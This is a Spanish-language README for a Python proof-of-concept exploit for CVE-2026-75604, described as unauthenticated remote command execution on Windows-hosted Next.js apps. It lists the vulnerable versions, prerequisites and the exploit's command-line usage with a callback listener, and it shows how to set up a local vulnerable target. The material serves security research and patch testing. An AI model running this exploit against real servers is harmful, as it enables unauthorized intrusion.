PoC de RCE para CVE-2026-75604

Prueba de concepto en Python para CVE-2026-75604, una vulnerabilidad de ejecución remota de comandos sin autenticación en aplicaciones Next.js alojadas en Windows que utilizan tanto el Pages Router como el App Router sin Cache Components.

Demostración

Requisitos

• Next.js >=13.4 <15.5.24 o >=16.0 <16.3.3
• Servidor Windows nativo
• Pages Router y App Router sin Cache Components
• Caché del sistema de archivos predeterminada con una ruta ISR dinámica de Pages y una ruta App dinámica en caché
• Una Server Action compatible vinculada a un closure
• Python 3.9+ y una dirección de callback accesible por el objetivo

Validado con [email protected].

python -m pip install -r requirements.txt

Uso

python poc.py --target http://TARGET:3000 --callback-ip CALLBACK_IP --pages-cache-path /PATH/TO/PAGES_ISR_INSTANCE --app-cache-path /PATH/TO/APP_CACHE_INSTANCE

La ruta de la Server Action es / por defecto. Utilice --action-field cuando su formulario tenga más de un campo.

Argumentos obligatorios:

• --target URL: URL base de la aplicación Next.js
• --callback-ip ADDRESS: dirección IPv4 accesible por el objetivo
• --pages-cache-path PATH: página ISR dinámica existente del Pages Router
• --app-cache-path PATH: página dinámica existente del App Router respaldada por la caché del sistema de archivos

Argumentos opcionales:

• --command COMMAND: comando a ejecutar; por defecto whoami
• --action-path PATH: página del App Router que contiene la Server Action compatible; por defecto /
• --action-field NAME: campo del formulario consumido por la acción; se detecta automáticamente cuando no hay ambigüedad
• --callback-port PORT: puerto de callback; por defecto 4331
• --listen-address ADDRESS: dirección local de escucha del callback; por defecto 0.0.0.0
• --timeout SECONDS: tiempo de espera de solicitudes y callback; por defecto 20
• --insecure: desactiva la verificación de certificados TLS

Objetivo local

La aplicación opcional target/ fija [email protected] y utiliza el servidor de producción estándar de Next.js:

cd target
npm ci
npm run build
npm start

Ejecute el PoC en otra terminal:

python poc.py --target http://127.0.0.1:4330 --callback-ip 127.0.0.1 --pages-cache-path /pages-cache/seed --app-cache-path /app-cache/seed

El objetivo opcional proporciona las rutas necesarias y una Server Action compatible en /.

Descargo de responsabilidad

Este PoC se proporciona únicamente con fines educativos, de investigación de seguridad y de pruebas autorizadas. Úselo solo en sistemas de su propiedad o para los que tenga permiso explícito de probar.

Créditos

Créditos a evolutionstorm y b0r1.

Este PoC fue reconstruido de forma independiente a partir del aviso público y del parche de Next.js.